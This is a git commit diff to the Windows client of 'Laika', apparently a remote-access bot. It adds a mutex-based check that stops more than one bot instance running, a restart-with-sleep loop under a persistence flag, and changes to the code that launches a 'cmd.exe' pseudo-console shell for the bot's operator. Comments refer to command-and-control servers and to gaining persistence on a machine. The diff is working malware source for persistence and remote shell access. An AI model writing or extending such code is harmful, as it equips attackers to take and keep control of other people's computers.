Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()

- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings
This commit is contained in:
CPunch 2022-04-16 23:54:07 -05:00
parent 231881c960
commit 34dd36fb67
4 changed files with 21 additions and 5 deletions

View File

@ -29,7 +29,8 @@
"stdbool.h": "c",
"alloca.h": "c",
"bot.h": "c",
"string_view": "c"
"string_view": "c",
"lconfig.h": "c"
},
"cSpell.words": [
"cnc's",

View File

@ -32,7 +32,11 @@ int main(int argv, char *argc[]) {
/* bot was killed or it threw an error */
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
#ifdef _WIN32
Sleep(5000);
#else
sleep(5);
#endif
} while (1);
laikaB_unmarkRunning();

View File

@ -1,13 +1,17 @@
/* platform specific code for achieving persistence on windows */
#include <windows.h>
#include "persist.h"
#include "lconfig.h"
#include "lerror.h"
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return true; /* stubbed for now */
@ -15,12 +19,19 @@ bool laikaB_checkRoot() {
/* mark that laika is currently running */
void laikaB_markRunning() {
/* stubbed */
laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX));
if (!laikaB_mutex) {
/* mutex doesn't exist, we're the only laika process :D */
laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX));
} else {
LAIKA_ERROR("Mutex already exists!\n");
}
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
/* stubbed */
ReleaseMutex(laikaB_mutex);
}
/* try to gain persistance on machine */

View File

@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
HRESULT hr;
char cmd[] = "cmd.exe";
LPCTSTR cmd = TEXT("cmd.exe");
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
ZeroMemory(shell, sizeof(struct sLaika_shell));
@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
}
/* launch cmd shell */
hr = CreateProcessA(
hr = CreateProcess(
NULL, /* No module name - use Command Line */
cmd, /* Command Line */
NULL, /* Process handle not inheritable */